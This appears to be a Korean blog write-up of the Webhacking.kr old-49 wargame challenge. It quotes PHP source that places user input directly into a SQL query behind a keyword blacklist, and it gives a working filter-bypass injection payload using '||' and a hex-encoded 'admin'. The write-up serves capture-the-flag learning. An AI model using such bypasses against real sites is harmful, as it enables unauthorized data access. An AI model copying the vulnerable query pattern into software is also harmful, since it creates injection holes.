46번과 비슷한 SQL INJECTION 문제다.
소스코드에서 중요한 부분만 가져왔다.
...
<?php
if($_GET['lv']){
$db = dbconnect();
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
echo $result[0] ;
if($result[0]=="admin") solve(49);
}
?>
...
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
select or and ( ) limit , \ order cash 공백 탭(\t) ' "
위의 문자들을 필터링하고 있다.
쿼리
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
$_GET['lv']에서 입력을 받아 id를 select한다.
if($result[0]=="admin") solve(49);
풀이조건은 result[0]이 admin이면 된다.
아래와 같은 방식으로 쿼리문을 참으로 만들면 되는데 필터링을 잘 우회해야 할 것 같다.
lv = 0 || id ='admin'
admin을 hex로 필터링해서 넣어보았다.
lv=0||id=0x61646d696e
문제를 해결했다!
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-03 / Challenge 3 (0) | 2021.10.10 |
---|---|
[Webhacking.kr] old-24 / challenge 24 (0) | 2021.10.03 |
[Webhacking.kr] old 35 (0) | 2021.09.26 |
[Webhacking.kr] old-14 (0) | 2021.09.20 |
[Webhacking.kr] old-10 (0) | 2021.09.20 |